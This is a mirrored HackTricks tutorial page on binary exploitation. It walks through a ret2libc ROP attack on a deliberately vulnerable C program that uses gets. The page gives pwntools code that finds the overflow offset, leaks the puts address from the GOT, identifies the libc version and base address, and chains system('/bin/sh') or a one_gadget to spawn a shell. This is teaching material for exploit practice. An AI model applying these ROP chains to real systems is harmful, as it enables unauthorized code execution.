mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
290 lines
10 KiB
Markdown
290 lines
10 KiB
Markdown
|
# ROP - Leaking LIBC address
|
||
|
|
||
|
## Quick Resume
|
||
|
|
||
|
1. Find overflow offset
|
||
|
2. Find POP\_RDI, PUTS\_PLT and MAIN\_PLT gadgets
|
||
|
3. Find memory address of puts and guess the libc version \(donwload it\)
|
||
|
4. Given the library just exploit it
|
||
|
|
||
|
## Other tutorials and binaries to practice
|
||
|
|
||
|
This tutorial is going to exploit the code/binary proposed in this tutorial: [https://tasteofsecurity.com/security/ret2libc-unknown-libc/](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)
|
||
|
Another useful tutorial: [https://made0x78.com/bseries-ret2libc/](https://made0x78.com/bseries-ret2libc/)
|
||
|
|
||
|
## Code
|
||
|
|
||
|
Filename: `vuln.c`
|
||
|
|
||
|
```c
|
||
|
#include <stdio.h>
|
||
|
|
||
|
int main() {
|
||
|
char buffer[32];
|
||
|
puts("Simple ROP.\n");
|
||
|
gets(buffer);
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
gcc -o vuln vuln.c -fno-stack-protector -no-pie
|
||
|
```
|
||
|
|
||
|
## ROP - PWNtools template
|
||
|
|
||
|
\*\*\*\*[**Find my ROP-PWNtools template here.**](../../misc/basic-python/rop-pwn-template.md) I'm going to use the code located there to make the exploit.
|
||
|
Download the exploit and place it in the same directory as the vulnerable binary.
|
||
|
|
||
|
## 1- Finding the offset
|
||
|
|
||
|
The template need an offset before continuing with the exploit. If any is provided it will execute the necessary code to find it \(by default `OFFSET = ""`\):
|
||
|
|
||
|
```bash
|
||
|
####################
|
||
|
#### Find offset ###
|
||
|
####################
|
||
|
OFFSET = ""#"A"*72
|
||
|
if OFFSET == "":
|
||
|
gdb.attach(p.pid, "c") #Attach and continue
|
||
|
payload = cyclic(1000)
|
||
|
print(r.clean())
|
||
|
r.sendline(payload)
|
||
|
#x/wx $rsp -- Search for bytes that crashed the application
|
||
|
#cyclic_find(0x6161616b) # Find the offset of those bytes
|
||
|
return
|
||
|
```
|
||
|
|
||
|
**Execute** `python template.py` a GDB console will be opened with the program being crashed. Inside that **GDB console** execute `x/wx $rsp` to get the **bytes** that were going to overwrite the RIP. Finally get the **offset** using a **python** console:
|
||
|
|
||
|
```python
|
||
|
from pwn import *
|
||
|
cyclic_find(0x6161616b)
|
||
|
```
|
||
|
|
||
|
![](../../.gitbook/assets/image%20%28188%29.png)
|
||
|
|
||
|
After finding the offset \(in this case 40\) change the OFFSET variable inside the template using that value.
|
||
|
`OFFSET = "A" * 40`
|
||
|
|
||
|
## 2- Finding Gadgets
|
||
|
|
||
|
Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
|
||
|
|
||
|
```python
|
||
|
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
|
||
|
MAIN_PLT = elf.symbols['main']
|
||
|
POP_RDI = (rop.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
|
||
|
RET = (rop.find_gadget(['ret']))[0]
|
||
|
|
||
|
log.info("Main start: " + hex(MAIN_PLT))
|
||
|
log.info("Puts plt: " + hex(PUTS_PLT))
|
||
|
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
|
||
|
```
|
||
|
|
||
|
The `PUTS_PLT` is needed to call the **function puts**.
|
||
|
The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** \(infinite rounds of exploitation\).It is used at the end of each ROP.
|
||
|
The **POP\_RDI** is needed to **pass** a **parameter** to the called function.
|
||
|
|
||
|
In this step you don't need to execute anything as everything will be found by pwntools during the execution.
|
||
|
|
||
|
## 3- Finding LIBC library
|
||
|
|
||
|
Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
|
||
|
|
||
|
```python
|
||
|
def get_addr(func_name):
|
||
|
FUNC_GOT = elf.got[func_name]
|
||
|
log.info(func_name + " GOT @ " + hex(FUNC_GOT))
|
||
|
# Create rop chain
|
||
|
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||
|
|
||
|
#Send our rop-chain payload
|
||
|
#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
|
||
|
print(p.clean()) # clean socket buffer (read all and print)
|
||
|
p.sendline(rop1)
|
||
|
|
||
|
#Parse leaked address
|
||
|
recieved = p.recvline().strip()
|
||
|
leak = u64(recieved.ljust(8, "\x00"))
|
||
|
log.info("Leaked libc address, "+func_name+": "+ hex(leak))
|
||
|
#If not libc yet, stop here
|
||
|
if libc != "":
|
||
|
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||
|
log.info("libc base @ %s" % hex(libc.address))
|
||
|
|
||
|
return hex(leak)
|
||
|
|
||
|
get_addr("puts") #Search for puts address in memmory to obtains libc base
|
||
|
if libc == "":
|
||
|
print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
|
||
|
p.interactive()
|
||
|
```
|
||
|
|
||
|
To do so, the most important line of the executed code is:
|
||
|
|
||
|
```python
|
||
|
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||
|
```
|
||
|
|
||
|
This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.
|
||
|
Then, it will set the **address** of the gadget `POP_RDI` so the next address \(`FUNC_GOT`\) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.
|
||
|
After that, `PUTS_PLT` will be called \(with `PUTS_GOT` inside the **RDI**\) so puts will **read the content** inside `PUTS_GOT` \(**the address of puts function in memory**\) and will **print it out**.
|
||
|
Finally, **main function is called again** so we can exploit the overflow again.
|
||
|
|
||
|
This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** \(which is inside **libc** library\). Now that we have that address we can **search which libc version is being used**.
|
||
|
|
||
|
![](../../.gitbook/assets/image%20%2881%29.png)
|
||
|
|
||
|
As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used \(just find the library in `/lib/x86_64-linux-gnu/libc.so.6`\).
|
||
|
But, in a remote exploit case I will explain here how can you find it:
|
||
|
|
||
|
### 3.1- Searching for libc version \(1\)
|
||
|
|
||
|
You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me/)
|
||
|
It will also allow you to download the discovered version of **libc**
|
||
|
|
||
|
![](../../.gitbook/assets/image%20%2816%29.png)
|
||
|
|
||
|
### 3.2- Searching for libc version \(2\)
|
||
|
|
||
|
You can also do:
|
||
|
|
||
|
* `$ git clone https://github.com/niklasb/libc-database.git`
|
||
|
* `$ cd libc-database`
|
||
|
* `$ ./get`
|
||
|
|
||
|
This will take some time, be patient.
|
||
|
For this to work we need:
|
||
|
|
||
|
* Libc symbol name: `puts`
|
||
|
* Leaked libc adddress: `0x7ff629878690`
|
||
|
|
||
|
We can figure out which **libc** that is most likely used.
|
||
|
|
||
|
```text
|
||
|
./find puts 0x7ff629878690
|
||
|
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
|
||
|
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
|
||
|
```
|
||
|
|
||
|
We get 2 matches \(you should try the second one if the first one is not working\). Download the first one:
|
||
|
|
||
|
```text
|
||
|
./download libc6_2.23-0ubuntu10_amd64
|
||
|
Getting libc6_2.23-0ubuntu10_amd64
|
||
|
-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
|
||
|
-> Downloading package
|
||
|
-> Extracting package
|
||
|
-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
|
||
|
```
|
||
|
|
||
|
Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
|
||
|
|
||
|
### 3.3- Other functions to leak
|
||
|
|
||
|
```python
|
||
|
puts
|
||
|
printf
|
||
|
__libc_start_main
|
||
|
read
|
||
|
gets
|
||
|
```
|
||
|
|
||
|
## 4- Finding based libc address & exploiting
|
||
|
|
||
|
At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
|
||
|
|
||
|
So, at the begging of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
|
||
|
|
||
|
Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
|
||
|
|
||
|
Inside the `get_addr`function the **base address of libc** is going to be calculated:
|
||
|
|
||
|
```python
|
||
|
if libc != "":
|
||
|
libc.address = leak - libc.symbols[func_name] #Save libc base
|
||
|
log.info("libc base @ %s" % hex(libc.address))
|
||
|
```
|
||
|
|
||
|
Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
|
||
|
|
||
|
```python
|
||
|
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
|
||
|
SYSTEM = libc.sym["system"]
|
||
|
EXIT = libc.sym["exit"]
|
||
|
|
||
|
log.info("bin/sh %s " % hex(BINSH))
|
||
|
log.info("system %s " % hex(SYSTEM))
|
||
|
```
|
||
|
|
||
|
Finally, the /bin/sh execution exploit is going to be prepared sent:
|
||
|
|
||
|
```python
|
||
|
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
||
|
|
||
|
p.clean()
|
||
|
p.sendline(rop2)
|
||
|
|
||
|
##### Interact with the shell #####
|
||
|
p.interactive() #Interact with the conenction
|
||
|
```
|
||
|
|
||
|
Let's explain this final ROP.
|
||
|
The last ROP \(`rop1`\) ended calling again the main function, then we can **exploit again** the **overflow** \(that's why the `OFFSET` is here again\). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ \(`BINSH`\) and call **system** function \(`SYSTEM`\) because the address of _"/bin/sh"_ will be passed as a parameter.
|
||
|
Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
|
||
|
|
||
|
**This way the exploit will execute a** _**/bin/sh**_ **shell.**
|
||
|
|
||
|
![](../../.gitbook/assets/image%20%28255%29.png)
|
||
|
|
||
|
## 4\(2\)- Using ONE\_GADGET
|
||
|
|
||
|
You could also use [ONE\_GADGET ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE\_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP**.
|
||
|
However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
|
||
|
|
||
|
```python
|
||
|
ONE_GADGET = libc.address + 0x4526a
|
||
|
rop2 = base + p64(ONE_GADGET) + "\x00"*100
|
||
|
```
|
||
|
|
||
|
## EXPLOIT FILE
|
||
|
|
||
|
Here you have the final exploit after having performed all the necessary changes to the original [**template.py**](../../misc/basic-python/rop-pwn-template.md) **file**.
|
||
|
|
||
|
{% file src="../../.gitbook/assets/template.py" caption="template.py" %}
|
||
|
|
||
|
## Common problems
|
||
|
|
||
|
### MAIN\_PLT = elf.symbols\['main'\] not found
|
||
|
|
||
|
If the "main" symbol does not exist. Then you can just where is the main code:
|
||
|
|
||
|
```python
|
||
|
objdump -d vuln_binary | grep "\.text"
|
||
|
Disassembly of section .text:
|
||
|
0000000000401080 <.text>:
|
||
|
```
|
||
|
|
||
|
and set the address manually:
|
||
|
|
||
|
```python
|
||
|
MAIN_PLT = 0x401080
|
||
|
```
|
||
|
|
||
|
## Puts not found
|
||
|
|
||
|
If the binary is not using Puts you should check if it is using
|
||
|
|
||
|
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||
|
|
||
|
If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
|
||
|
|
||
|
Try to **subtract 64 bytes to the address of "/bin/sh"**:
|
||
|
|
||
|
```python
|
||
|
BINSH = next(libc.search("/bin/sh")) - 64
|
||
|
```
|
||
|
|